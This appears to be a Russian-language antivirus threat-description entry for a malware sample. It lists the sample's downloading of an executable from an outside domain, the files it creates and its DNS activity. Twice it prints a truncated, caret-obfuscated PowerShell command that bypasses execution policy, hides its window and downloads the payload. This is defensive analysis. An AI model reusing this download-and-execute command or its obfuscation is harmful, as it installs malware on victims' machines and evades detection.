Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://amosirago.co/ceb.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^owe^RsHeLL.exe^ -^e^xEcuT^IOnPoLI^CY byPaS^S^ -No^p^ROf^iLE^ -^WiNdO^WstyL^e ^Hid^De^N ^(n^Ew-OB^JEC^t^ SyStEm.neT^.^We^b^c^LI^ENT).^doWnLoadFiLe('https://amosirago.co/ceb.e...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK am###rago.co
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^owe^RsHeLL.exe^ -^e^xEcuT^IOnPoLI^CY byPaS^S^ -No^p^ROf^iLE^ -^WiNdO^WstyL^e ^Hid^De^N ^(n^Ew-OB^JEC^t^ SyStEm.neT^.^We^b^c^LI^ENT).^doWnLoadFiLe('https://amosirago.co/ceb.e... (со скрытым окном)
